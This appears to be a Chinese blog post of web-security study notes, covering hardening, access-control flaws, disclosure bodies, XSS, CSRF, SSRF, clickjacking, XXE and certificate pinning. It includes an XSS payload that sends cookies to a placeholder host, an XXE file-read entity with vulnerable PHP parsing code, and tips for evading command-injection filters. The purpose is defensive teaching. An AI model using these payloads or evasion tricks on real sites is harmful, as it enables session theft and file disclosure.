WEB加固 越权漏洞 漏洞披露 常见WEB攻击手段 手机被安装非信任CA风险
- 2018-03-17 10:01:00
- admin
- 原创 2514
一、WEB加固
1、每次登陆会话ID需要重新生成,会话ID一直不变会导致用户登录态泄露;
2、关键控件需要设置autocomplete=off,是HTTP5属性,比如密码输入框;
3、URL保留字符@可以传递用户信息,避免URL解析出错,可以禁用@字符;
二、越权漏洞
1、垂直越权通常是访问了非授权的接口;
2、水平越权通常是访问了非授权的数据;
3、垂直越权示例:通过不需要校验权限的URL访问需要校验权限的URL;
4、水平越权示例:操作用户数据的URL从cookie或者报文中获取用户ID;
5、逃逸浏览器沙箱是一种越权漏洞,利用远程命令执行和特权提升;
三、漏洞披露
1、CVE,Common Vulnerabilities & Exposures,通用漏洞披露,一个漏洞字典,站点地址:https://cve.mitre.org/cve/
2、CWE,Common Weakness Enumeration,通用攻击方法,一个攻击方法字典,站点地址:https://cwe.mitre.org/
3、OWASP,开放式WEB应用安全项目,攻击方法字典链接:https://owasp.org/www-community/attacks/
4、信息安全热点事件:https://www.goupsec.com/category/news
5、NIST发布NVD,NVD包含漏洞严重性评分,优先看该评分;
6、CNA发布漏洞,使用Synk对漏洞进行评分,仅参考该评分;
7、CREST是一个非盈利性安全机构,可以向机构颁发各类证书;
8、CREST可以颁发VA漏洞披露证书,可以颁发PT渗透测试证书;
术语解释:
1、NIST,National Institute of Standards and Technology,国家标准与技术研究院;
2、NVD,National Vulnerability Database,国家安全漏洞数据库;
3、CNA,CVE Numbering Authority,漏洞编号机构;
4、Snyk,开发安全平台;
四、常见WEB攻击手段
1、XSS、CSRF、点击劫持的风险取决于目标站点关键操作的风险以及价值;
2、URL包含双点号、英文分号、百分号通常会比较危险,很容易产生越权漏洞;
3、通常需要检查所有URL不包含双点号,另外接口URL还要满足特定正则表达式;
4、读取或写入文件参数包含双点号,容易产生恶意文件读取或写入;
5、避免高风险的命令注入攻击可以检测以下8字符[; \n & | $ ` > <],最后2个是重定向字符;
6、命令中的字符增加单双引号可以规避特定命令检测,${IFS}替换空格规避命令包含空格检测;
XSS,Cross Site Scripting,跨站脚本攻击,恶意用户将代码植入到用户使用的页面,检查输入参数可以避免。
示例:<img src='nopic' onerror="document.location.href='http://ip:port/nopage?cookie='+document.cookie" />
1、三种类型:DOM型、反射型、存储型,DOM型不经过服务器;
2、输出内容实体替换,<替换成"<",>替换成">";
3、设置cookie属性为HttpOnly,防止脚本查询cookie信息;
4、配置安全策略CSP,Content-Security-Policy: default-src 'self' 'unsafe-inline'; frame-ancestors 'self';
5、安全策略CSP:https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/Sources
6、安全策略CSP:https://content-security-policy.com/#source_list
CSRF,Cross Site Request Forgery,跨站点请求伪造,攻击者在用户登录目标网站之后,诱使用户访问攻击页面,利用目标网站对用户的信任,以用户身份在攻击页面对目标网站伪造用户操作的请求。
SSRF,Server Side Request Forgery,服务端请求伪造,攻击者构造由服务端发起请求的安全漏洞,攻击目标是外网无法访问的内部系统,因为它是由服务端发起,所以能够请求与它相连而与外网隔离的内部系统。形成原因大都是服务端提供了从其他服务器获取数据的功能但没有对目标地址限制。
ClickJacking,点击劫持。
iframe覆盖:外部站点使用iframe透明覆盖目标站点页面,诱导用户点击。
解决方案:返回头增加X-Frame-Options,nginx增加配置add_header X-Frame-Options SAMEORIGIN。
图片覆盖:Cross Site Image Overlaying,内部站点允许用户提交html代码,代码包含悬浮图片,诱导用户点击。
解决方案:禁止用户提交html代码,或者检查提交代码禁止悬浮图片。
五、XXE漏洞
1、XXE,XML External Entity Injection,XML外部实体注入,可以在服务端访问文件系统或执行网络请求;
2、检查文件内容可以避免XML外部实体注入:Pattern.matches(".*ENTITY[\\w \\t]+SYSTEM.*", "xml");
实体注入代码示例:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY name SYSTEM "file:///c:/windows/win.ini">
]>
<user><username>&name;</username><password>mypass</password></user>
解析实体代码示例:
$body = file_get_contents("php://input");
$dom = new DomDocument();
$dom->loadXML($body, LIBXML_NOENT|LIBXML_NOERROR|LIBXML_NOWARNING);
var_dump($dom->getElementsByTagName("username")[0]->nodeValue);
$xml = simplexml_import_dom($dom);
var_dump($xml->password->__toString());
var_dump($xml->username->__toString());
六、手机被安装非信任CA风险
1、手机可能被安装非信任CA,导致HTTPS校验服务端通过,所以校验服务端是否可信必须对比公钥证书;
2、客户端会硬编码公钥证书,因为证书定期更换,为了保证更换证书时客户端可用,所以需要证书下发通道;
3、okhttp可以抵抗系统安装非信任CA风险,CertificatePinner设定证书公钥哈希,公钥哈希不匹配则校验失败;